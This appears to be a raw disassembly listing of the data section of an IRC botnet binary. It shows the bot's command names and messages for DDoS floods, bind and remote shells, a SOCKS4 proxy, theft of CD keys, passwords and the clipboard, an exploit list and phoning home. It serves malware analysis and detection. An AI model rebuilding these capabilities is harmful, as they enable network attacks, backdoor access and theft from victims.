		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42C38C	db  2Dh	; -		; DATA XREF: sub_401ACD+249Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 10h
; char asc_42C3B0[]
asc_42C3B0	db '-'                  ; DATA XREF: sub_401ACD:loc_403F43o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42C3DC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Co
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C408	db  2Dh	; -		; DATA XREF: sub_401ACD+2468o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42C42C	db  2Dh	; -		; DATA XREF: sub_401ACD+2415o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
; char asc_42C468[]
asc_42C468	db '-'                  ; DATA XREF: sub_401ACD+23A6o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
; char asc_42C4A4[]
asc_42C4A4	db '-'                  ; DATA XREF: sub_401ACD+22C0o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 10h
; char asc_42C4E0[]
asc_42C4E0	db '-'                  ; DATA XREF: sub_401ACD+2255o
					; sub_40BACE+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C51C	db  2Dh	; -		; DATA XREF: sub_401ACD+214Eo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
; char asc_42C558[]
asc_42C558	db '-'                  ; DATA XREF: sub_401ACD+20DFo
					; sub_40BACE+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42C58C	db  2Dh	; -		; DATA XREF: sub_401ACD+202Ao
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 4
unk_42C5AC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE1o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
; char asc_42C5E4[]
asc_42C5E4	db '-'                  ; DATA XREF: sub_401ACD+1FC4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 10h
; char asc_42C620[]
asc_42C620	db '-'                  ; DATA XREF: sub_401ACD+1F53o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F28o
					; sub_401ACD+5BEFo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F21o
					; sub_401ACD+5BE8o
		align 10h
; char asc_42C6A0[]
asc_42C6A0	db '-'                  ; DATA XREF: sub_401ACD+1D6Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42C6E0	db  2Dh	; -		; DATA XREF: sub_401ACD+1D10o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
; char asc_42C71C[]
asc_42C71C	db '-'                  ; DATA XREF: sub_401ACD+1C96o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
; char aFp[]
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Do
		align 4
; char aFindpass[]
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Co
		align 4
; char aNoticeSPhoning[]
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C29o
		align 4
; char aPhonehome[]
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C12o
		align 4
; char aAsc[]
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1BE8o
; char asc_42C788[]
asc_42C788	db '-'                  ; DATA XREF: sub_401ACD+1B98o
		db 3, 34h, 2
		dd 6E69616Dh, 202D0302h, 73617243h, 676E6968h, 746F6220h
		dd 2Eh
; char aCrash[]
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B82o
					; sub_401ACD+1BD2o
		align 4
; char aTftp[]
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Do
		align 4
; char aTftpserver[]
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B58o
		align 10h
; char aHttp[]
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B43o
		align 4
; char aHttpserver[]
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Eo
		align 4
; char aRlogin[]
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B19o
		align 4
; char aRloginserver[]
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B04o
		align 4
; char aCip[]
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEFo
; char aCurrentip[]
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1ADAo
		align 4
; char aFdns[]
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC5o
		align 4
; char aFlushdns[]
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AB0o
		align 10h
; char aFarp[]
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Bo
		align 4
; char aFlusharp[]
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A86o
		align 4
; char aGc[]
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A71o
		align 4
; char aGetclip[]
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Co
; char asc_42C830[]
asc_42C830	db '-'                  ; DATA XREF: sub_401ACD+1A1Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
; char Str2[]
Str2		db 'off',0              ; DATA XREF: sub_401ACD+1A03o
					; sub_401ACD+3CB0o ...
; char aSpoof[]
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19ECo
		align 4
unk_42C864	db  2Dh	; -		; DATA XREF: sub_401ACD+19CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
; char aD_S[]
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1996o
					; sub_40B1B4+46o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403454o
dword_42C898	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Co
; char aWho[]
aWho		db 'who',0              ; DATA XREF: sub_401ACD+193Fo
dword_42C8B0	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1934o
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_401ACD+192Fo
		align 4
; char aCmdstop[]
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1916o
; char aOcmd[]
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1901o
		align 4
; char aOpencmd[]
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18ECo
; char aDll[]
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D7o
; char aTestdlls[]
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C2o
		align 4
; char aDrv[]
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ADo
; char aDriveinfo[]
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1898o
		align 4
; char aUp[]
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1883o
		align 4
; char aUptime[]
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Eo
		align 10h
; char aKey[]
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1859o
; char aGetcdkeys[]
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1844o
		align 10h
; char aPs[]
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Fo
		align 4
; char aProcs[]
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+181Ao
		align 4
; char aLsp100[]
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17F0o
					; sub_401ACD+1805o
		align 4
; char aSi[]
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DBo
		align 4
; char aSysinfo[]
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C6o
; char aNi[]
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B1o
		align 4
; char aNetinfo[]
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Co
; char aClg[]
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1787o
; char aClearlog[]
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1772o
		align 4
; char aLg[]
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Do
		align 10h
; char aLog[]
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1748o
; char aAl[]
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1733o
		align 4
; char aAliases[]
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Eo
; char aT[]
aT:					; DATA XREF: sub_401ACD+1709o
					; .data:004382F8o ...
		unicode	0, <t>,0
; char aThreads[]
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F4o
unk_42C97C	db  2Dh	; -		; DATA XREF: sub_401ACD+16C0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
; char asc_42C9A4[]
asc_42C9A4	db '-'                  ; DATA XREF: sub_401ACD+16B9o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
; char aReboot[]
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A2o
		align 4
; char aI[]
aI:					; DATA XREF: sub_401ACD+168Do
					; .data:00438304o ...
		unicode	0, <i>,0
; char aId[]
aId		db 'id',0               ; DATA XREF: sub_401ACD+1678o
		align 4
; char aS_5[]
aS_5:					; DATA XREF: sub_401ACD+1663o
					; .data:00438310o ...
		unicode	0, <s>,0
; char aStatus[]
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Eo
		align 10h
; char aQ[]
aQ:					; DATA XREF: sub_401ACD+1639o
					; .data:off_4382E8o ...
		unicode	0, <q>,0
; char aQuit_0[]
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1624o
		align 4
; char aDc[]
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Fo
		align 10h
; char aDisconnect[]
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15FAo
		align 4
; char aR[]
aR:					; DATA XREF: sub_401ACD+15E5o
					; sub_401ACD+3DA9o ...
		unicode	0, <r>,0
; char aReconnect[]
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15D0o
		align 4
; char aExplist[]
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BBo
; char aExploitlist[]
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A6o
; char aCbstats[]
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1591o
; char aConnectbacksta[]
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Co
		align 4
; char aTrstats[]
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1567o
; char aTransferstats[]
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1552o
		align 4
; char aStats[]
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Do
		align 4
; char aScanstats[]
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1528o
		align 4
dword_42CA68	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Do
aScan		db 'Scan',0             ; DATA XREF: sub_401ACD+1518o
		align 4
; char aScanstop[]
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FFo
		align 4
dword_42CA88	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F4o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EFo
		align 10h
; char aSecurestop[]
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D6o
		align 4
dword_42CAAC	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CBo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C6o
		align 4
; char aClonestop[]
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ADo
		align 10h
; char aPsstop[]
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1498o
		align 4
; char aProcsstop[]
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1483o
		align 4
; char aFfstop[]
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Eo
		align 4
; char aFindfilestop[]
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1459o
		align 4
dword_42CAFC	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Eo
; char aTftpstop[]
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+1430o
		align 4
; char aPingstop[]
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1407o
		align 4
; char aUdpstop[]
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DEo
; char aWisdomstop[]
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B5o
		align 4
; char aTsunamistop[]
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Co
unk_42CB44	db  2Dh	; -		; DATA XREF: sub_401ACD+1372o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42CB78	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1337o
					; sub_401ACD+13D3o
aWisdomAttack	db 'Wisdom attack',0    ; DATA XREF: sub_401ACD+1332o
					; sub_401ACD+13CEo
		align 4
dword_42CB98	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1319o
					; sub_401ACD+13AAo
aTsunamiFlood	db 'Tsunami flood',0    ; DATA XREF: sub_401ACD+1314o
					; sub_401ACD+13A5o
		align 4
dword_42CBB8	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B9o
					; sub_401ACD+1425o
aPingFlood	db 'Ping flood',0       ; DATA XREF: sub_401ACD+12B4o
					; sub_401ACD+1420o
		align 10h
dword_42CBD0	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Bo
					; sub_401ACD+13FCo
aUdpFlood	db 'UDP flood',0        ; DATA XREF: sub_401ACD+1296o
					; sub_401ACD+13F7o
		align 4
; char aPacketstop[]
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1236o
		align 4
dword_42CBF4	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Bo
					; sub_401ACD+12F8o
aWonkFlood	db 'Wonk flood',0       ; DATA XREF: sub_401ACD+1226o
					; sub_401ACD+12F3o
		align 4
; char aWonkstop[]
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Do
		align 4
dword_42CC18	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1202o
					; sub_401ACD+12DAo
aTarga3Flood	db 'Targa3 flood',0     ; DATA XREF: sub_401ACD+11FDo
					; sub_401ACD+12D5o
		align 4
; char aTarga3stop[]
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E4o
		align 4
dword_42CC44	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D9o
					; sub_401ACD+1358o
aSkysynFlood	db 'SkySyn flood',0     ; DATA XREF: sub_401ACD+11D4o
					; sub_401ACD+1353o
		align 4
; char aSkysynstop[]
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BBo
		align 10h
dword_42CC70	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11B0o
					; sub_401ACD+127Ao
aSynFlood	db 'Syn flood',0        ; DATA XREF: sub_401ACD+11ABo
					; sub_401ACD+1275o
		align 4
; char aSynstop[]
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1192o
dword_42CC90	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1187o
					; sub_401ACD+125Co
aDdosFlood	db 'DDoS flood',0       ; DATA XREF: sub_401ACD+1182o
					; sub_401ACD+1257o
		align 4
; char aDdos_stop[]
aDdos_stop	db 'ddos.stop',0        ; DATA XREF: sub_401ACD+1169o
		align 4
dword_42CCB4	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Eo
aTcpRedirect	db 'TCP redirect',0     ; DATA XREF: sub_401ACD+1159o
		align 4
; char aRedirectstop[]
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+1140o
		align 4
dword_42CCE4	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1135o
aLogList	db 'Log list',0         ; DATA XREF: sub_401ACD+1130o
		align 4
; char aLogstop[]
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1117o
dword_42CD04	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Co
; char aHttpstop[]
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EEo
		align 10h
dword_42CD20	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E3o
; char aRloginstop[]
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C5o
		align 4
dword_42CD3C	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BDo
; char aSocks4stop[]
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Fo
		align 4
; char aS4[]
aS4		db 's4',0               ; DATA XREF: sub_401ACD+108Ao
		align 4
; char aSocks4[]
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1075o
		align 4
dword_42CD64	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1053o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Eo
					; sub_401ACD+10B8o ...
		align 10h
; char aBindshellstop[]
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1035o
		align 10h
; char aBd[]
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+1020o
		align 4
; char aBindshell[]
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Bo
		align 10h
; char aUnsec[]
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF6o
		align 4
; char aUnsecure[]
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE1o
		align 4
; char aSec[]
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCCo
					; sub_401ACD+2D6Ao
; char aSecure[]
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB7o
					; sub_401ACD+2D59o
		align 10h
; char aSt[]
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA2o
		align 4
; char aSpeedtest[]
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Do
		align 10h
; char aDed[]
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F78o
; char aDedication[]
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F63o
		align 10h
; char aVer[]
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Eo
; char aVersion[]
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F39o
; char aLo[]
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F24o
		align 10h
; char aLogout[]
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Fo
		align 4
; char aD_0[]
aD_0:					; DATA XREF: sub_401ACD+EFAo
					; .data:00438314o ...
		unicode	0, <d>,0
; char aDie[]
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE5o
; char aRn[]
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ED0o
		align 4
; char aRndnick_0[]
aRndnick_0	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB8o
; char a63[]
a63		db '63',0               ; DATA XREF: sub_401ACD+D85o
		align 10h
; char asc_42CE10[]
asc_42CE10:				; DATA XREF: sub_401ACD+D5Do
		unicode	0, <)>,0
; char aChr[]
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D20o
		align 4
; char aServer[]
aServer		db '$server',0          ; DATA XREF: sub_401ACD+D15o
; char aRndnick[]
aRndnick	db '$rndnick',0         ; DATA XREF: sub_401ACD+D04o
		align 10h
; char aChan[]
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE8o
		align 4
; char aUser[]
aUser		db '$user',0            ; DATA XREF: sub_401ACD+CD7o
		align 10h
; char aMe[]
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC5o
; char aD_1[]
aD_1		db '$%d',0              ; DATA XREF: sub_401ACD+C57o
; char aD[]
aD		db '$%d-',0             ; DATA XREF: sub_401ACD+B93o
		align 10h
; char asc_42CE50[]
asc_42CE50:				; DATA XREF: sub_401ACD+ABBo
					; .data:0043832Co ...
		unicode	0, <l>,0
unk_42CE54	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CE88	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CEB8	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
; char asc_42CEF0[]
asc_42CEF0	db '-'                  ; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
; char aChat[]
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 4
; char asc_42CF18[]
asc_42CF18	db '-'                  ; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CF5C	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CF98	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
; char dword_42CFB0
dword_42CFB0	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42CFB8	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
; char dword_42CFD4
dword_42CFD4	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
; char asc_42CFE0[]
asc_42CFE0	db '#',0                ; DATA XREF: sub_401ACD+816o
					; sub_40CA80+1Bo
		align 4
; char asc_42CFE4[]
asc_42CFE4	db '-'                  ; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
; char aS_6[]
aS_6		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 4
; char aSend[]
aSend		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 10h
; char dword_42D020
dword_42D020	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
; char a332[]
a332		db '332',0              ; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADDo ...
; char aNotice[]
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A73+Fo
		align 4
; char aPrivmsg[]
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A73+16o
; char asc_42D03C[]
asc_42D03C	db '-'                  ; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 10h
; char asc_42D060[]
asc_42D060	db '-'                  ; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
; char a353[]
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
; char aQuit[]
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
					; sub_40E992+5DEo
		align 4
; char aPart[]
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
; char aSS_1[]
aSS_1		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
; char aNick[]
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
; char aNoticeSS[]
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
; char asc_42D0B4[]
asc_42D0B4	db '-'                  ; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBDo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
; char aKick[]
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
; char aNickS[]
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Fo ...
		align 4
; char a433[]
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177D0:loc_417838o
; char a[]
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
; char a302_0[]
a302_0		db '302',0              ; DATA XREF: sub_401ACD+22Ao
; char a005[]
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
; char a001[]
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
; char aJoinSS[]
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
